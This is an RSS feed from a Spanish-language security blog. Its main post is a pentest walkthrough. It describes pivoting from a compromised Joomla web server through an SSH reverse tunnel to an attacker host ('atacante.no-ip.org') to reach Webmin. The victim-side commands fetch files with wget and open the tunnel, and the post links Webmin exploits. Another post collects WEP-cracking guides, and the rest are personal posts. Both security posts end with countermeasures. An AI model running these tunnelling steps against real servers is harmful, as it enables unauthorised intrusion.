<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.0.4" -->
<rss version="2.0" 
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>H4CKarandas</title>
	<link>http://hackarandas.com/blog</link>
	<description>Donde las ideas se dispersan en bytes...</description>
	<pubDate>Fri, 06 Jun 2008 15:06:21 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.0.4</generator>
	<language>en</language>
			<item>
		<title>SSH Jutsu I - Acercamiento de Puerto</title>
		<link>http://hackarandas.com/blog/2008/06/06/ssh-jutsu-i-acercamiento-de-puerto-2/</link>
		<comments>http://hackarandas.com/blog/2008/06/06/ssh-jutsu-i-acercamiento-de-puerto-2/#comments</comments>
		<pubDate>Fri, 06 Jun 2008 07:00:49 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
		
	<category>Seguridad</category>
	<category>Artículos</category>
		<guid isPermaLink="false">http://hackarandas.com/blog/2008/06/06/ssh-jutsu-i-acercamiento-de-puerto-2/</guid>
		<description><![CDATA[ Apenas unos dias vi batallando a un compañero que realizaba un Pentest y había conseguido comprometer un servidor web. Resulta que alguien tuvo a bien instalar un sistema Joomla! y lo dejó abandonado, así que no fué difícil utilizar un viejo módulo para subir el PHP Shell y empezar a echar comandos de consola [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.hackarandas.com/blog/wp-content/uploads/2008/06/jutsu00.jpg" style="margin: 10px 10px 0pt 0pt; float: left; width: 120px; height: 134px;" title="Sello de Dragon" alt="" /> Apenas unos dias vi batallando a un compañero que realizaba un Pentest y había conseguido comprometer un servidor web. Resulta que alguien tuvo a bien instalar un sistema Joomla! y lo dejó abandonado, así que no fué difícil utilizar un viejo módulo para subir el <a href="http://phpshell.sourceforge.net/">PHP Shell</a> y empezar a echar comandos de consola siendo el usuario que ejecuta a apache (nobody en este caso).</p>
<p>Después de varias horas de verlo hacerse de la mala ceja se me ocurrieron varios puntos donde se podían hacer ataques:</p>
<p><span style="font-weight: bold;">Escenario</p>
<p></span>
<ol>
<li>Servidor Web con Linux Fedora Core 3, obviamente con instalación por defecto</li>
<li>Servidor &#8220;protegido&#8221; por un FW Checkpoint.</li>
<ol>
<li>Que nos bloquea la IP cada vez que hacemos un escaneo de puertos.</li>
<li>No tiene ACLs de salida del servidor, <span style="font-style: italic;">are you thinking what I am thinking?<br />
</span></li>
</ol>
<li>Se ha logrado comprometer el servidor</li>
<ol>
<li>Se tiene una shell creada por el php shell y que a su vez se ha conseguido otra con el <a href="http://netcat.sourceforge.net/">Netcat</a> conectándonos a nuestra máquina desde la máquina vícitma. Total el FW no tiene ACLs que bloqueen la salida de tráfico del servidor.
</li>
<li>Tiene un IP Privada del otro lado, así que podemos suponer que están haciendo el port Forwarding al puerto 443.</li>
<li>Tiene el <a href="http://www.webmin.com/">Webmin</a> habilitado &gt;:) pero bloqueado por el FW :&#8217;(
</li>
</ol>
</ol>
<p><span style="font-weight: bold;">Planteamiento</p>
<p></span>¿Qué sigue? Obviamente escalar privilegios, encontrar mas servidores dentro de la <a href="http://es.wikipedia.org/wiki/DMZ">DMZ</a> y/o conseguir contraseñas. Ya se sacaron los usuarios con el comando <span style="font-style: italic;">cat /etc/passwd</span> pero los <a href="http://es.wikipedia.org/wiki/Hash">hashes</a> de las contraseñas&nbsp; no ya que no disponemos de privilegios de root<span style="font-weight: bold;"> </span>y hacer el viejo truco con <a href="http://www.thc.org/thc-hydra/">Hydra</a> de probar el mismo usuario y contraseñas contra un servicio es inútil por el FW.<span style="font-weight: bold;"> </p>
<p></span>¿Cómo podemos sopesar este problema? Como sabemos, el Webmin es una herramienta poderosísima para la admnistración del servidor pero cuenta con un sin fín de vulnerabilidades que, aunque son parchadas con cierta rapidez, si la instalación es por default o está sin administrar (abandonada) se puede comprometer la integridad del servidor con cierta facilidad.<span style="font-weight: bold;"></p>
<p>Jutsu </p>
<p></span>&nbsp; Creo que habemos pocos que conocemos los oscuros secretos y milenarias técnicas del <a href="http://es.wikipedia.org/wiki/Secure_Shell">SSH</a> y los ocupamos con cierta regularidad. Aqui explico mi prueba de concepto para alcanzar el puerto de Webmin y poder comprometerlo:</p>
<p>Necesitamos tener una cuenta en una máquina y pueda acceder al servicio de SSH. Para esto podemos usar el Backtrack creamos una cuenta sin mayores privilegios. Dentro de esta cuenta creamos una <a href="http://es.wikipedia.org/wiki/Criptograf%C3%ADa_asim%C3%A9trica">llave pública</a> de ssh para poder automatizar la autenticación y no perder la shell dentro del servidor:<br />
<code><br />
# Creamos el directorio donde guardaremos la configuracion<br />
mkdir ~/.ssh<br />
# Creamos la llave sin contraseña para que sea mas cómoda de usar<br />
ssh-keygen -t dsa<br />
# Nos crea dos archivos que son la llave pública y la privada<br />
id_dsa  id_dsa.pub<br />
# Renombramos la pública para poder usarla como autenticación<br />
mv  id_dsa.pub authorized_keys<br />
</code><br />
Ahora creamos el siguiente archivo config:<br />
<code><br />
 Host atacante<br />
		# La IP o nombre de dominio que estamos usando<br />
		Hostname         atacante.no-ip.org<br />
		RemoteForward	10000 127.0.0.1:10000<br />
		# Puerto que tengamos abierto y con el servicio de SSH corriendo<br />
		Port			1025<br />
		# El usuario que hallamos creado<br />
		User            tunel<br />
		BatchMode       yes<br />
		Compression     yes<br />
		# La llave privada que no debe contener contraseña y nos dará acceso al usuario tunel<br />
		IdentityFile	/tmp/.ssh/id_dsa<br />
		CompressionLevel 		9<br />
		# Con esto nos saltamos el que nos pregunte que si añade la llave rsa al archivo.<br />
		StrictHostKeyChecking	no<br />
		PubkeyAuthentication	yes<br />
		UserKnownHostsFile		/tmp/.ssh/known_hosts<br />
</code><br />
Ahora subimos el archivo al servidor como tarball. Lo podemos hacer con la herramienta <a href="http://www.home.unix-ag.org/simon/woof.html">woof</a>.<br />
<code><br />
# En el lado del atacante<br />
woof -p [PuertoAlcanzable] -i [IP] ~/.ssh</p>
<p># En el lado de la victima<br />
cd /tmp<br />
wget [URL Cambiando la IP por la IP pública] -O - | tar zxvf -<br />
cd .ssh<br />
chmod 0600 *<br />
ssh-agent bash<br />
ssh-add<br />
ssh -fNF config atacante<br />
</code><br />
Recuerda que si estas detrás de un dispositivo que haga <a href="http://es.wikipedia.org/wiki/NAT">NAT</a> debes hacer reenvío de puerto de forma que podamos alcanzar la máquina del atacante desde la máquina víctima y que el URL que le ingresaremos en el <a href="http://es.wikipedia.org/wiki/GNU_Wget">wget</a> no es la IP privada sino la IP pública que tiene nuestro router. Los que tenemos <a href="http://www.youtube.com/watch?v=kIAyegmzrxE">cableacces</a> estamos jodidos pero siempre podemos usar un servidor prestado que tenga una IP Pública XD.</p>
<p>Y si todo sale bien nos devolverá la línea de comando y veremos un proceso parecido al este:<br />
<code><br />
ps ax | grep -i ssh<br />
28659 ?        Ss     0:30 ssh -fNF config atacante<br />
</code><br />
Bien, ahora desde la máquina del atacante deberemos ver unos puertos parecidos a esto:<br />
<code><br />
sudo netstat -ptuna | grep -i listen<br />
tcp        0      0 127.0.0.1:10000          0.0.0.0:*               LISTEN      -<br />
</code><br />
Perfecto! Si hasta ahora todo ha salido bien podremos entrar a la consola de administración del Webmin desde el navegador usando la siguiente URL: <span style="font-style: italic;">https://localhost:10000. </p>
<p></span>Nos vamos a la siguiente página y descargamos el <a href="http://es.wikipedia.org/wiki/Exploit">exploit</a>:</p>
<p>http://securitydot.net/xpl/exploits/vulnerabilities/articles/1164/exploit.html en <a href="http://es.wikipedia.org/wiki/Perl">Perl</a><br />
http://www.milw0rm.com/exploits/1997 en <a href="http://es.wikipedia.org/wiki/.php">PHP</a></p>
<p><span style="font-weight: bold;">Contramedidas</p>
<p></span>
<ol>
<li>No instalas ningun aplicativo que no piensas dar mantenimiento en un servidor de producción.
</li>
<li>Aparte del firewall corporativo es saludable instalar un firewall de host que proteja la máquina así la administración del FW queda en tus manos y no dependes de un tercero que no sabes que políticas maneja. <a href="http://rfxnetworks.com/apf.php">APF</a> es mi recomendación.
</li>
<li>En los ACLs del firewall es buena idea bloquear cual tráfico que salga del servidor que no sea de tipo ESTABLISHED o que vaya única y exclusivamente a los servidores de actualizaciones, por este motivo es bueno tener un sistema de actualización local como el <a href="http://http://technet.microsoft.com/en-us/wsus/default.aspx">WSUS</a> para <a href="http://es.wiktionary.org/wiki/Haselfroch">Haselfroch</a>.</li>
<li>Siempre, y repito, siempre has un hardeneo de tus servidores de producción, quita servicios que no uses y aquellos que necesitas pero son inseguros (Webmin, VNC) puedes hacer que escuchen localmente y accederlos por <a href="http://members.shaw.ca/nicholas.fong/vnc/">túneles de SSH</a>.</li>
<li>Mantén un procedimiento para verificar la integridad de tus servidores como <a href="http://www.tripwire.org/">Tripwire</a>.</li>
<li>Mantén una política de contraseñas complejas en tus usuarios, así, aúnque consigan los hashes de la contraseñas el romperlas puede llegar a ser virtualmente imposible.</li>
<li>Mantén actualizado tu sistema y las aplicaciones que tenga dentro, realiza auditorias constantes sobre tus aplicaciones Web para ver posibles agujeros de seguridad que puedan comprometer tu servidor. Para esto existen aplicaciones como <a href="http://www.gfi.com/languard/">GFI Languard</a> y <a href="http://www.nessus.org/">Nessus</a>.
</li>
</ol>
<p>Aún siguiendo estos pasos no puedes ganrantizar que estará seguro tu servidor, siempre habrá una nueva vulnerabilidad o alguien que consiga brincarse la barda que has puesto. Hacer seguridad y cumplir al menos con las buenas prácticas de administración de servidores permiten mitigar los ataques que puedas recibir y que puedan afectar al negocio.</p>
<address>Adrián Puente Z.</address>
<address></address>
<div class="flockcredit" style="text-align: right; color: #CCC; font-size: x-small;">Blogged with the <a href="http://www.flock.com/blogged-with-flock" style="color: #999; font-weight: bold;" target="_new" title="Flock Browser">Flock Browser</a></div>
<p><!-- technorati tags begin --><br />
<p style="font-size:10px;text-align:right;">Tags: <a href="http://technorati.com/tag/Seguridad" rel="tag">Seguridad</a>, <a href="http://technorati.com/tag/firewall" rel="tag">firewall</a>, <a href="http://technorati.com/tag/%20webmin" rel="tag"> webmin</a>, <a href="http://technorati.com/tag/%20Secure%20Shell" rel="tag"> Secure Shell</a>, <a href="http://technorati.com/tag/%20SSH" rel="tag"> SSH</a>, <a href="http://technorati.com/tag/%20Apache" rel="tag"> Apache</a></p>
<p><!-- technorati tags end -->
</p>
]]></content:encoded>
			<wfw:commentRSS>http://hackarandas.com/blog/2008/06/06/ssh-jutsu-i-acercamiento-de-puerto-2/feed/</wfw:commentRSS>
		</item>
		<item>
		<title>Libertaaad!!! o al menos ya huelo a graduado&#8230;.</title>
		<link>http://hackarandas.com/blog/2008/05/29/libertaaad-o-al-menos-ya-huelo-a-graduado/</link>
		<comments>http://hackarandas.com/blog/2008/05/29/libertaaad-o-al-menos-ya-huelo-a-graduado/#comments</comments>
		<pubDate>Thu, 29 May 2008 06:33:54 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
		
	<category>Experiencias y Narraciones</category>
		<guid isPermaLink="false">http://hackarandas.com/blog/2008/05/29/libertaaad-o-al-menos-ya-huelo-a-graduado/</guid>
		<description><![CDATA[ Pues si, aquellos que dudaron se pueden tragar sus palabras! El lunes 19 de mayo del 2008 tuve mi último examen final de mi última materia de la carrera y simplemente no me ha caído el veinte. Me ha costado un huevo y aún no lo acabo de digerir, me he graduado. Sí, me [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://hackarandas.com/images/sticker_libertad.jpg" title="Libertad!!" alt="Libertad!!!" align="left" height="104" width="100" /> Pues si, aquellos que dudaron se pueden tragar sus palabras! El lunes 19 de mayo del 2008 tuve mi último examen final de mi última materia de la carrera y simplemente no me ha caído el veinte. Me ha costado un huevo y aún no lo acabo de digerir, <span style="font-weight: bold;">me he graduado</span>. Sí, me he tardado mas que muchos pero tengo la satisfacción de que esta fue mi carrera, sí mía, pues cada peso que me costó salió de cada gota de sudor que emanó de mi frente, cada calificación aprobatoria o no, ha sido mia. Vaya reconozco que han habido dos factores inmensos para conseguir esta meta: Mi madre, esa mujer admirable que hizo lo necesario para darme una educación privilegiada, no tendría la cara para no terminar la carrera y&nbsp; Joaquín Patrón, un hombre que admiro demasiado y que sin él no hubiera podido iniciar esta aventura pues fue quien me extendió la mano y con una sonrisa mirándome a los ojos me dijo &#8220;Adrián, creo en ti y sé que vas a ser grande&#8221; y me ayudó con un año de carrera.  </p>
<p>Durante este trayecto la gente adecuada apareció en mi vida. Gente como Zita y Alejandro que han sido unos padres sustitutos excelsos, la Chica Moreno, un ángel que Dios me mandó para darme siempre esperanza, Débora Rángel que gracias a su ética profesional y su intervención me mantuvo, sino cuerdo, no tan loco vovléndose una luz en ese camino oscuro en el que estuve metido un buen rato. </p>
<p>No podemos dejar atrás a gente tan importante como: Cachabeto que me enseñó la ligereza de la vida, Rodoom que me mostró la integridad del creer en algo y llevarlo a su máxima expresión, Shendira Reyes cuyas frases como &#8220;Recuerda lo que dijo Séneca* me llenaron mas de una vez de claridad en mi momento mas confuso, Alejandro Cacho, el único ser que podría llamar &#8220;hermano mayor&#8221; y siempre ha tenido mucho para enseñarme. No olvidemos a aquel grupo de paracaidístas que aparecieron un día en mi cubículo para no irse por casi 3 años: Pitufo, de corazón calmado que siempre pudo colocarme en mi lugar cuando cuando estaba por tomar una decisión con el estómago, Wera del que he aprendido que la vida es de los intrépidos y se come a mordidas grandes y nunca con cubiertos. Poison, que me ha enseñado que se se debe vivir divertido, con nobleza y lealtad, BigDaddy, que me ha enseñado que la visión a futuro siempre puede ir acompañada de una sonrisa. Fonseca, ese hombre que me ha demostrado que el trabajo duro y bien hecho simpre trae sus recompensas, Benito, que siempre ve el vaso medio lleno y puede convencerte de que ello. Israel que me enseñó que uno siempre puede cambiar y siempre hay un rayito de sol para cada uno, Jess, una de las mujeres mas chingonas que conozco, Omigoto, que siempre ha tenido una anéctoda que me sorprenda, Gerardo Alvarez, uno de los g33ks mas brillantes que me he topado, Carlos Manjarrez que me demuestra que para los negocios se puede tener cerebro y músculo, Sonia, una de las almas mas libres e inspiradoras que conozco, Sofía, un huracán imparable cuando de alcanzar metas se trata, gente con una gran genialidad como Alejandra Escobar, Martha Escárcega, Alejandro Cornejo y Angel Almada, exponentes máximos de la frase &#8220;el que quiere puede y los límites están en uno mismo&#8221;.</p>
<p>Entre los mas viejos que puedo nombrar en mi vida está mi hermano Orlando que siempre ha tenido el otro remo en este barquito que compartimos, Vanessa, mi prima, que se ha vuelto una fuente interminable de motivación y Fabiola, mi novia, que si existiera algo así como alma gemela ella tendría que ser la mía.</p>
<p>¿Que cómo fue estudiar en el ITAM? Fue horrible, frustrante y enagenante oseáse: ESPANTOSO pero gracias a ese trol gigante&nbsp; pude medirme, conocer mi temple y saber hasta dónde puedo llegar cuando me lo propongo. Pocos profesores puedo recordar con cariño y decir que hicieron una diferencia en mi vida: Ana Lidia Franzoni, Carlos Zozaya, Armando Maldonado, Rafael Gamboa, José Incera, Uciel Fragoso, Alfredo Villafranca y Silvia Guardati. Gracias a cada uno por su dedicación en mi formación.</p>
<p>En fin, ya me gradué, me falta la titulación pero ello es sólo trámite. Sobre lo malo, ese lo olvido y me quedo con esos &#8220;casi 3 años&#8221; en el cubículo de Salas de Servidores, con la compañía, los debrayes, los sueños y las risas. Lo demás ya no tiene relevancia.</p>
<p><em>Adrian Puente Z.</em></p>
<p>*<span style="font-style: italic;"> </span><font style="font-style: italic;" size="2">Cuando mi madre falleció la vida para mi era un monstruo gigantezco que apenas podía mantener a raya, Shen tuvo bien a citar una lectura académica &#8220;Dios te manda los retos porque te ama y sabe que los puedes enfrentar, si no te amara simplemente te despreciaría y te daría una vida tan sencilla que no valdría la pena vivirla&#8221; Obviamente por el contexto que estaba viviendo casi le miento la madre pero poco a poco he ido entendiendo la expresión y el porqué me lo dijo en ese momento.</font><br />
<div class="flockcredit" style="text-align: right; color: #CCC; font-size: x-small;">Blogged with the <a href="http://www.flock.com/blogged-with-flock" style="color: #999; font-weight: bold;" target="_new" title="Flock Browser">Flock Browser</a></div>
<p><!-- technorati tags begin --><br />
<p style="font-size:10px;text-align:right;">Tags: <a href="http://technorati.com/tag/ITAMlibertad%20graduado%20servibanda%20" rel="tag">ITAM libertad graduado servibanda </a></p>
<p><!-- technorati tags end -->
</p>
]]></content:encoded>
			<wfw:commentRSS>http://hackarandas.com/blog/2008/05/29/libertaaad-o-al-menos-ya-huelo-a-graduado/feed/</wfw:commentRSS>
		</item>
		<item>
		<title>USBeando agusto&#8230;</title>
		<link>http://hackarandas.com/blog/2007/04/19/usbeando-agusto/</link>
		<comments>http://hackarandas.com/blog/2007/04/19/usbeando-agusto/#comments</comments>
		<pubDate>Fri, 20 Apr 2007 02:45:48 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
		
	<category>Artículos</category>
		<guid isPermaLink="false">http://hackarandas.com/blog/2007/04/19/usbeando-agusto/</guid>
		<description><![CDATA[ Hace poco me encontré con la grata sorpresa de que el Firefox lo podias correr desde el USB, exacto, todo corría, ejecutaba, escribía y se guardaba desde el diminuto dispositivo USB y al entrar a la página, después de varios meses descubro que hay todo un proyecto llamado PortableApps donde hay aplicaciones donde puedes [...]]]></description>
			<content:encoded><![CDATA[<p><img align="left" id="image53" src="http://hackarandas.com/blog/wp-content/uploads/2007/05/usb.miniatura.png" alt="USB" /> Hace poco me encontré con la grata sorpresa de que el Firefox lo podias correr desde el USB, exacto, todo corría, ejecutaba, escribía y se guardaba desde el diminuto dispositivo USB y al entrar a la página, después de varios meses descubro que hay todo un proyecto llamado <a href="http://www.portableapps.com/">PortableApps</a> donde hay aplicaciones donde puedes tener &#8220;tu vida entera&#8221; en tu USB ok, eso sonó aparte de exagerado muuuy g33k. </p>
<p>  Por ejemplo yo soy mucho de usar el Thunderbird para leer mis correos, el Sunbird para gestionar mis citas, mientras que navego el 99% con el Firefox y chateo con el Gaim, pues todo eso ya está para USB y podemos seguir con nuestas aplicaciones favoritas en cualquier computadora y sincronizar las funcionalidades de las aplicaciones con nuestro sistema base usando <a href="http://www.cis.upenn.edu/~bcpierce/unison/">Unison</a> o <a href="http://en.wikipedia.org/wiki/Rsync">Rsync</a>.</p>
<p>¿Pero qué mas podemos hacer? Ahora con la capacidad de las computadoras de bootear por casi cualquier periférico, que vaya, <a href="http://es.wikipedia.org/wiki/BOOTP">bootear por red</a> es lo mas viejo del mundo el <a href="http://www.le.ac.uk/cc/dsss/docs/usb_boot.shtml">arrancar por USB</a> es lo de hoy, es cosa de configurar el <a href="http://es.wikipedia.org/wiki/BIOS">BIOS</a> para lograr esto.</p>
<p>Pues con la novedad que se pueden arrancar sistemas operativos por USB, <em>&#8220;Naaa eso es viejo!!!&#8221;</em> me diras pero que tal arrancar un Windows XP desde USB todo montado sobre RAM, pues si, se pueden tener tantos sistemas operativos como quepan en nuestro USB porque ahora hasta se le puede instalar el <a href="http://www.gnu.org/software/grub/">GRUB</a> al dispositivo.</p>
<p>  Salió un nuevo proyecto para crear Live CDs de Windows XP que hasta ahora se ha hecho fácil. Aunque ya han existido proyectos como el <a href="http://winpe.sourceforge.net/">ERD Commander</a> de WinInternals recientemente adquirido por Microsoft y el <a href="http://www.bootcd.us/">BartPE XPE</a> y creo que hasta hay un Live CD de Windows Vista. </p>
<p>  Si pero que onda con correr Sistemas Operativos en el USB y encima arrancar con Grub. Los artículos están realmente interesantes, se los paso al costo: </p>
<p>  * <strong><a href="http://darksun.com.pt/mirage/usb_minipe_backtrack_knoppix.html">miniPE, BackTrack and Knoppix in an USB pen</a></strong><br />
  * <strong><a href="http://maxt.dk/archives/2004/10/25/running-hirens-bootcd-60-from-bootable-usb-stick/"> Running Hiren’s BootCd 6.0 from Bootable Usb Stick</a></strong><br />
  * <strong><a href="http://featherlinux.berlios.de/usb-instructions.htm">Installing Feather Linux to a USB drive</a></strong></p>
<p><em>Adrian Puente Z.</em>
</p>
]]></content:encoded>
			<wfw:commentRSS>http://hackarandas.com/blog/2007/04/19/usbeando-agusto/feed/</wfw:commentRSS>
		</item>
		<item>
		<title>Depredador en el Aire&#8230;</title>
		<link>http://hackarandas.com/blog/2007/04/15/depredador-en-en-aire/</link>
		<comments>http://hackarandas.com/blog/2007/04/15/depredador-en-en-aire/#comments</comments>
		<pubDate>Sun, 15 Apr 2007 22:00:00 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
		
	<category>Seguridad</category>
	<category>Artículos</category>
		<guid isPermaLink="false">http://hackarandas.com/blog/2007/04/15/depredador-en-en-aire/</guid>
		<description><![CDATA[   Realmente estaba pensando en escribir un muy buen artículo sobre Hacking de redes Wireless pero desde que la empecé hasta el dia de hoy han pasado muchas cosas y realmente ya hay escritos tantos artículos como peces hay en el mar, ok, exagero pero ya hay un mogollón y como odio ser [...]]]></description>
			<content:encoded><![CDATA[<p> <img align="left" alt="Aircrack Console" id="image11" title="Aircrack Console" src="http://hackarandas.com/blog/wp-content/uploads/2007/01/aircrack.miniatura.gif" />  Realmente estaba pensando en escribir un muy buen artículo sobre Hacking de redes Wireless pero desde que la empecé hasta el dia de hoy han pasado muchas cosas y realmente ya hay escritos tantos artículos como peces hay en el mar, ok, exagero pero ya hay un mogollón y como odio ser del montón me dispuse a crear una guía-recopilación de los mejores artículos y videos que halle y sazonarlo un poco con mi experiencia.</p>
<p>  Yo soy de la idea de no reinventar el hilo negro sino utilizar de la mejor forma los recursos que existen. En mi experiencia nada cómo usar un Live CD ya sea para recuperación , forencia o pentest. Entre los Linux Live CDs que he probado están:</p>
<p>* <a href="http://featherlinux.berlios.de/">Feather Linux</a><br />
* <a href="http://www.damnsmalllinux.org/">Damn Small Linux</a><br />
* <a href="http://www.toms.net/rb/">Tomsrtbt</a><br />
* <a href="http://www.knoppix.org/">Knoppix</a><br />
* <a href="http://www.e-fense.com/helix/contents.php">Helix</a><br />
* <a href="http://www.sleuthkit.org/">SleuthKit</a><br />
* <a href="http://www.ussysadmin.com/operator/">Operator</a><br />
* <a href="http://http://www.remote-exploit.org/index.php/Main_Page">Backtrack</a></p>
<p>Pero en realidad hay una gran <a href="http://www.frozentech.com/content/livecd.php"> lista de distribuciones Live CD</a> de donde escoger. Para iniciar comentaré lo que se necesita para el rompimiento de redes inalámbricas:</p>
<p>La verdad es que se puede instalar desde cero la suite de Aircrack-ng pero en caso de que usemos <a href="http://bulma.net/body.phtml?nIdNoticia=1613">Hasefroch</a> podemos bootear la máquina con un Live CD especializado o cear una máquina de virtual en el VMplayer  y una tarjera con el chipset indicado.</p>
<p><strong>* Software</strong></p>
<p>Podemos descargar el Backtrack que ya hoy está en su versión liberada 2<br />
Se necesita el <a href="http://www.remote-exploit.org/backtrack_download.html">Backtrack</a> o el <a href="http://www.wifislax.com">WifiSlax</a> que es una versión modificada del Backtrack en español y con muchas interfaces configuradas para que no tengamos que teclear el casi nada.</p>
<p> Para crear una máquina virtual podemos usar el <a href="http://www.vmware.com/products/player/">VMplayer</a> que es gratuito y creamos la máquina virtual con el <a href="http://petruska.stardock.net/Software/VMware.html">vmxbuilder</a> que igualmente no cuesta un peso. </p>
<p><strong>* Hardware</strong></p>
<p> ¿Qué tarjeta comprar? Lo importante es el chipset no la tarjeta. En la documentacion de Aircrack que está en <a href="http://www.wirelessdefence.org/Contents/AircrackORIGINAL.html">inglés</a> y en <a href="http://hwagm.elhacker.net/htm/traduccion.htm">español</a> y tienen una sección que nos dice cuales son las mejores tarjetas para realizar esto, en mi caso he probado ya varias y hasta hice un articulo al respecto. Las que recomiendo ampliamente de chipset Ralink son:<br />
* <a href="http://www.dlink.com/products/?pid=334">DWL-G122</a><br />
* <a href="http://www.linksys.com.mx/linksyswebsitepages/linksysproductos/inalambricos/consultabaselinksys/resultado.php?recordID=145">WUSB54g Version 4</a></p>
<p><strong>* Tutoriales</strong></p>
<p>En este <a href="http://www.irongeek.com/i.php?page=videos/vmxbuilder">video</a> explican como crear una máquina virtual sin el VMware, aqui podemos aprender como <a href="http://www.irongeek.com/i.php?page=videos/vmwareplayerlivecd">correr un Live CD en Vmware</a> </p>
<p>Video de como romper <a href="http://www.irongeek.com/i.php?page=videos/glj12-wep-cracking-with-vmplayer-backtrack-aircrack-and-dlink-dwl-g122-usb">Wep con Backtrack 1</a> </p>
<p>Mas videos de Craking WEP y WPA de <a href="http://www.aircrack-ng.org/doku.php?id=videos">aircrack</a> y <a href="http://www.wifislax.com/soporte/videos.html">wifislax</a></p>
<p><strong>* Lo mas nuevo</strong></p>
<p>  En lo último que encontré es el nuevo algoritmo para rompimiento de redes llamado aircrack-ptw y el soporte que se le ha dado al chipset Centrino ipw220 y el chipset Broadcom en el Wifislax. Igualmente ya sacaron el Airoscript que es la automatización de la suite aircrack para facilitar todo y se han generado algoritmos y métodos para romper WPA.</p>
<p><strong>* Problemática</strong></p>
<p>  En México o al menos en el DF el 80% de los usuarios de internet compran el Kit de Prodigy inalámbrico el cual conectan, configuran y olvidan encontrando sumamente cómodo y <em>chic</em> la red inalámbrica sin estar conscientes de que el algoritmo de cifrado WEP es de 64 bits y la clave hex son 10 números sin letras haciendo sumamente sencillo romper  la clave (te laten 10 mins) y entrar a la red del usuario, sí feliz usuario de Prodigy sienta miedo, usted puede estar hosteando a un intruso que ya ha tomado su access point, cambiado contraseña y puede estar realizando<a href="http://bulma.net/body.phtml?nIdNoticia=1193"> técnicas de arp poisoning</a> para capturar su tráfico, contraseñas y hasta tarjetas de banco, porque de seguro tu eres de los que tiene su bancanet y cree que porque tiene SSL es seguro cuando el 90% de los usuarios dan aceptar sin pelar la advertencia del navegador. ¿Eres uno de ellos?</p>
<p><strong>* Contramedidas</strong></p>
<p>  Algunas medidas para evitar tener colgado a alguien</p>
<p>* Si no requieres tener red inalámbrica <em><strong>no la pongas</strong></em>.<br />
* Asigna contraseña al Access Point.<br />
* Esconde el ESSID que aún así se puede obtener y cámbiaselo a algo que no diga 2WIRE[HACKME].<br />
* Usa de pérdida WEP de 128, sí puedes WPA aunque los dispositivos mas viejos no lo soportan.<br />
* Filtra las MACs de las máquinas si no tienes demasiadas aunque esto se puede hacer un infierno en grandes redes.<br />
* Cambia seguido la clave WEP y la contraseña del Access Point.<br />
* Revisa tu Access cada que puedas, este logea las máquinas que se han conectado, si ves alguna máquinas desconocida cambia las contraseñas.<br />
* Asigna firewalls personales a tus máquinas y quita carpetas compartidas que no sean necesarias y las que si ponles permisos por grupos o usuarios.<br />
* <em><strong>Ponle contraseñas a los usuarios</strong></em> de las máquinas, al menos al Administrador.</p>
<p><strong>* Conclusión</strong></p>
<p>  No hay nada seguro en realidad pero siempre podremos mitigar los ataques teniendo algo de cuidado y propagando una cultura de la seguridad. Alguna vez escuché que si tienes un coche este conlleva responsabilidades como el pago de tenencia y la verificación, con la seguridad es lo mismo, si uno compra un dispositivo uno se arriesga a las vulverabilidades que trae consigo este, el desconocer los medios para protegernos y/o no llevarlos a cabo nos hacen vícitmas potenciales, está en cada uno mitigar estas posibles amenazas.</p>
<p><em>Adrián Puente Z.</em></p>
]]></content:encoded>
			<wfw:commentRSS>http://hackarandas.com/blog/2007/04/15/depredador-en-en-aire/feed/</wfw:commentRSS>
		</item>
		<item>
		<title>Amigo/Hermano</title>
		<link>http://hackarandas.com/blog/2007/04/13/amigohermano/</link>
		<comments>http://hackarandas.com/blog/2007/04/13/amigohermano/#comments</comments>
		<pubDate>Fri, 13 Apr 2007 07:09:51 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
		
	<category>Experiencias y Narraciones</category>
		<guid isPermaLink="false">http://hackarandas.com/blog/2007/04/13/amigohermano/</guid>
		<description><![CDATA[ Gracias, muchas gracias por ser mi amigo. Gracias a la Wera, al Pitufo, al Benito, al Poison, al Isra, al Fonseca,al Cacha, al Puma, al Zoko, a la Fabi preciosa, a la Jess, al Cacho, al Rodo, a la Shen por ser mas que mis amigos, mis hermanos. Por mostrarme mas que un mundo [...]]]></description>
			<content:encoded><![CDATA[<p><img align="left" id="image51" src="http://hackarandas.com/blog/wp-content/uploads/2007/04/poemas-para-el-dia-del-amigo.miniatura.jpg" alt="Amigo" /> Gracias, muchas gracias por ser mi amigo. Gracias a la Wera, al Pitufo, al Benito, al Poison, al Isra, al Fonseca,al Cacha, al Puma, al Zoko, a la Fabi preciosa, a la Jess, al Cacho, al Rodo, a la Shen por ser mas que mis amigos, mis hermanos. Por mostrarme mas que un mundo de depredadores, un mundo de gente sincera y leal.</p>
<p>  Muchas gracias por llenar mi gran pequeño mundo.</p>
<p><em>Adrián Puente Z.</em>
</p>
]]></content:encoded>
			<wfw:commentRSS>http://hackarandas.com/blog/2007/04/13/amigohermano/feed/</wfw:commentRSS>
		</item>
		<item>
		<title>Habemus Galería</title>
		<link>http://hackarandas.com/blog/2007/03/15/habemus-galeria/</link>
		<comments>http://hackarandas.com/blog/2007/03/15/habemus-galeria/#comments</comments>
		<pubDate>Thu, 15 Mar 2007 22:18:42 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
		
	<category>c0de</category>
	<category>Artículos</category>
		<guid isPermaLink="false">http://hackarandas.com/blog/2007/03/15/habemus-galeria/</guid>
		<description><![CDATA[ Pues ya por fin pude crear la galería y es que quería ponerla de cierta forma en particular, ya saben, soy de esos que si no cuestan uno y la mitad del otro no me sabe. Quería poner la galería de forma que no usara un servicio externo como Flicker, que se  crearan [...]]]></description>
